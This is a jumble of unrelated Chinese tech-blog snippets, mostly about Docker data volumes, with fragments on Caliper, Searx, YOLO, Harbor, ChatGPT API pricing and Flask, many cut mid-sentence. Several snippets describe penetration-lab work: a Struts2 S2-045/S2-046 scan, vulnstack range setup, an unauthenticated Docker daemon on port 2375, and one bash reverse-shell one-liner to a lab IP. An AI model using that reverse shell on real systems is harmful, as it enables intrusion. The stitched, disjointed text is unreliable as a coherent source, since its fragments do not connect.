在Linux上运行的Docker有三种不同的方式将数据从 Docker Host挂载到 Docker 容器，并实现数据的读取和存储：volumes、bind mounts、tmpfs。
前段时间花了一段时间来研究Hyperledger Caliper的原理以及使用方式，研究的时候正处于Caliper改动较大的时候，因此也踩了不少的坑，也发现了一些问题，同时也加深了对这个项目的认识，在这里进行一下整理和归纳，以便大家能够更好地使用Caliper。
提前先安装配置好 Ubuntu server 14.04.5 参考资料：Ubuntu 16.04 Server 版安装过程图文详解
针对上述的缺点，有些数据，例如数据库文件，我们不应该将其保存在镜像或者容器的可写层中。Docker 提供三种不同的方式将数据从 Docker 主机挂载到容器中，分别为卷（ volumes），绑定挂载（ bind mounts），临时文件系统（ tmpfs）。很多时候， volumes 总是正确的选择。
This will download and start a GitLab container and publish ports needed to access SSH, HTTP and HTTPS. All GitLab data will be stored as subdirectories of GITLAB_HOME. The container will automatically restart after a system reboot. （译：所有 GitLab 的数据都会被存储到宿主机 GITLAB_HOME 的子目录中）
1 Docker Hub1.1 简介和登陆Docker Hub是Docker官方维护的一个公共仓库；注册网址为： https://hub.docker.com；图片注册账号以后可以使用docker login进行登陆：图片图片使用docker logout进行退出。图片1.2 拉取镜像使用docker search查找镜像；noamanelson@noamanelson-Virtual-Machine:~$ docker search ubuntuNAME
百科说：Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的Linux 机器上，也可以实现虚拟化，容器是完全使用沙箱机制，相互之间不会有任何接口。
Docker 是一个应用程序开发、部署、运行的平台，使用 go 语言开发。相较于传统的主机虚拟化，Docker 提供了轻量级的应用隔离方案，并且为我们提供了应用程序快速扩容、缩容的能力。
这里直接使用漏扫工具检测struts2有无漏洞，这里发现存在S2-045、S2-046两个漏洞
我们在使用 docker 的时候会将一些数据（例如网站文件、配置文件、数据库文件等）存储在容器中。这样存在一个严重的问题，如果容器出现损坏（例如无法启动，被删除等）那么存储在容器中的数据就会丢失，即使我们进行了容器备份，数据也不可能恢复到故障发生时。如果要解决这个问题，我们就需要用到 docker 的数据管理。在 docker 中数据管理一共有两种方式，分别是数据卷和数据卷容器，下面我们来一一讲解。
数据卷是一个可供一个或多个容器使用的特殊目录，它绕过UFS,可以提供很多有用的特性：
目前官网的标价是：每1,000 token 收费0.002 美元，约为 750 个单字。但是目前 API 不会记得你的 conversation 内容，也就是说，openapi 是没有 context 信息的。如果你希望 chatgpt 足够智能，能够像网页版本一样跟你产生真正有上下文的对话，那么你每次调用API 时，都必须叠加上之前的对话内容，而文字越多，花费的token 就越多。所以token 的花费会是指数型增加。
更多参数设置可以参考https://github.com/asciimoo/searx/wiki/settings.yml。
说明：现在百毒各种犀利操作导致很多人都转向了谷歌，不过由于谷歌在国内被墙，对一些人来说访问起来是有点困难的，除了挂梯子以外，反代谷歌也可以，很久前就发过这种教程→传送门，不过最近找到了个好项目Searx，一个基于Python的完全开源免费搜索引擎平台，为你提供来自Google、Bing、Yahoo等70多种各大视频、图片、搜索、磁力等网站结果展示，并对搜索结果进行优化，同时不会存储你的任何搜索信息，搭建也很方便，有兴趣的可以搭建给需要谷歌的同事或朋友用下。
数据卷 （ Data Volumes ） 是一个可供容器使用的特殊目录，它将主机操作系统目录直接映射进容器，类似于 Linux 中的 mount 行为 。
直接在项目templates目录下添加400.html、403.html、404.html、500.html，其他什么都不用管。
YOLO 算法是非常著名的目标检测算法。从其全称 You Only Look Once: Unified, Real-Time Object Detection ，可以看出它的特性：
Singularity 运行容器的时候默认会使用当前用户来运行容器，但是对于有些由于安全问题必须使用root来运行的容器，默认就是root了，对于这种情况，可以通过 --security 来指定用户来运行容器。
docker作为一种虚拟化的手段，它会传统虚拟机是类似的，也拥有和宿主机共享文件夹（文件）的手段，就是docker容器数据卷。这样你就可以在宿主机上进行代码编辑，然后docker里面运行它们。命令如下：
{% note modern info %}这里的路径是你自己证书放的地方{% endnote %}
本文是对官方文档的总结与备注。 官方文档：https://docs.docker.com/develop/ 根据官方文档的层次，分为 容器 (Containers) 使用 Docker run 服务 (Services) 使用 Docker Compose Defines how containers behave in production 服务栈 (Stack) 使用 Swarm mode Defining the interactions of all the services 必须知道
因为没有linux实体机，先在本地pc的虚拟机上安装，用的最新的ubuntu版本；
本文节选择《Netkiller Virtualization 手札》Docker 卷管理 1.5. 卷管理 1.5.1. 列出卷 docker volume ls # docker volume ls DRIVER VOLUME NAME local dbac41b6de88c75d2932d5949367b17f347f482977d508195375dbc71518ab27 1.5.2. 创建卷 # docker volume create -
docker stop/start container-id 停止/启动指定 id 的容器
在前面我们详细学习了docker的三大核心概念：镜像、容器和仓库，接下来开始学习如何管理数据。在实际工作中使用docker，往往需要对数据进行持久化，或者需要在多个容器之间进行数据共享，此时必然会使用到容器数据管理的各种操作。
原创文章，转载请务必将下面这段话置于文章开头处。 本文转发自:字母哥博客，原文链接 http://www.zimug.com/463.html
云服务已经成长为一个技术绕不过去的既成事实，仓库的管理、数据的应用、管理和安全，容器间的通信，充分的学习这些技术，是实现微服务的基础。
容器由最上面一个可写的容器层 + 若干只读的镜像层组成，容器的数据就存放在这些层中。
Harbor是VMware公司最近开源的企业级Docker Registry项目(https://github.com/vmware/harbor) 。其目标是帮助用户迅速搭建一个企业级的Docker registry服务。它提供了管理UI, 基于角色的访问控制(Role Based Access Control)，AD/LDAP集成、以及审计日志(Audit logging) 等企业用户需求的功能，同时还原生支持中文。Harbor的每个组件都是以Docker容器的形式构建的，使用Docker Compose来对它进行部署。
其他参考 https://blog.csdn.net/styshoo/article/details/55657714
这一章介绍如何在 Docker 内部以及容器之间管理数据，在容器中管理数据主要有两种方式：
本文介绍如何在 Docker 内部以及容器之间管理数据，在容器中管理数据主要有两种方式：
这里我在另一台ubuntu（192.168.0.129）上上传frp并开启服务端进行演示
docker的理念之一就是将应用和运行的环境打包，因此docker容器的生存周期通常都是与在容器中运行的程序相同的，而我们对数据的要求是持久化，docker容器之间也需要一个共享数据的渠道。这些需求就催生了docker数据卷的诞生。
准备 要在每一台服务器上安装Docker 相关的安装过程可以参考 Docker 基础 关键是要使用如下配置启动服务 [root@h104 ~]# docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock WARN[0000] /!\ DON'T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING /!\ INFO
Docker 是基于容器技术实现的，由于 Docker 的火热流行，可能很多人会认为容器是 Docker 独有的技术。
环境 环境地址如下： http://39.98.79.56/vuln/detail/6/ 接下来下载好后在VmWare中进行ovf导入即可，共计三个文件 📷 接下来配置网络环境，在虚拟网络编辑器中添加两个网段 1、192.168.1.0 NAT模式 用于外网 2、192.168.183.0 仅主机模式 用于内网 📷 接下来给三个虚拟机以及攻击机(kali)进行分配 DC: VMet8(192.168.183.130) Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.16
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
Docker启动Redis容器，步骤很简单，和启动mysql容器是一样的：Docker启动mysql。不过有个点需要注意，这里提醒一下：
TensorFlow Serving是google提供的一种生产环境部署方案，一般来说在做算法训练后，都会导出一个模型，在应用中直接使用。
PS：如果通过docker的方式直接拉取haproxy和keepalived镜像，比直接在镜像里面安装应用方便很多，建议各位老铁尽量避免在容器内安装应用，这样真心麻烦不爽，别人封装的镜像根据pull的量好好看看api就可以使用了。像h1如果容器stop后，重新start，还需要进入容器把keeplived给起起来。而h2直接start里面的haproxy和keeplived，同时都起起来了。 两个容器的采用的热备的方案，让用户毫无感知，切换ip的形式真是美滋滋。mysql集群的高性能，高负载，高可用基本完成了，可用按照这个思路搭建不同的主机下。
红图，顾名思义 - Redprint。 蓝图是模块级别的拆分，它不是设计来让你拆分试图函数的。要实现比模块级别下更具体的视图函数的拆分，例如在用Flask制作REST API时版本号下根据不同业务对象的函数拆分时，我们就需要自定义一个跟蓝图功能相同的模块。在这里，为了体现它跟蓝图的异曲同工之妙，我们将它命名为红图！
数据是应用程序重要的产出，所以很好的管理和存储数据，是对应用程序劳动结果的尊重。特别是在大数据时代，所有的数据都是重要的资产，保护好数据是每个开发者必须掌握的技能。我们知道，在 Docker 里，容器运行的文件系统处于沙盒环境中，与外界其实是隔离的，那么我们又要如何在 Docker 中合理的通过文件与外界进行数据交换呢？在这一小节中，我们就来介绍 Docker 中与文件数据有关的内容。
在上一节《记一次基础的Vulnstack渗透经验分享》中，我们简单的对vulnstack 1的靶场环境做了一次测试，通过外网初探、信息收集、攻入内网最终拿下域控，整个流程算是比较顺利，毕竟这个靶场环境比较基础。如今，vulnstack系列的内网渗透靶场已经发布了六个，在本节中，我们将对vulnstack 4这个靶场进行渗透测试。靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
在Docker中，容器的数据读写默认发生在容器的存储层，当容器被删除时其上的数据将会丢失。要想实现数据的持久化，需要将数据从宿主机挂载到容器中。目前Docker提供了三种方式将数据从宿主机挂载到容器中。
数据卷是一个可供一个或多个容器使用的特殊目录，它绕过UFS，可以提供很多有用的特性：
我这里直接使用swoole简单模拟搭建一个直播的HTTP服务,前提是你的php安装了swoole扩展(server.php)
Docker的镜像是由一系列的只读层组合而来的，当启动一个容器时，Docker加载镜像的所有只读层，并在最上层加入一个读写层。这个设计使得Docker可以提高镜像构建、存储和分发的效率，节省了时间和存储空间，然而也存在如下问题:
Docker 是虚拟机吗？Docker 底层用了哪些关键技术？容器逃逸逃的是什么？
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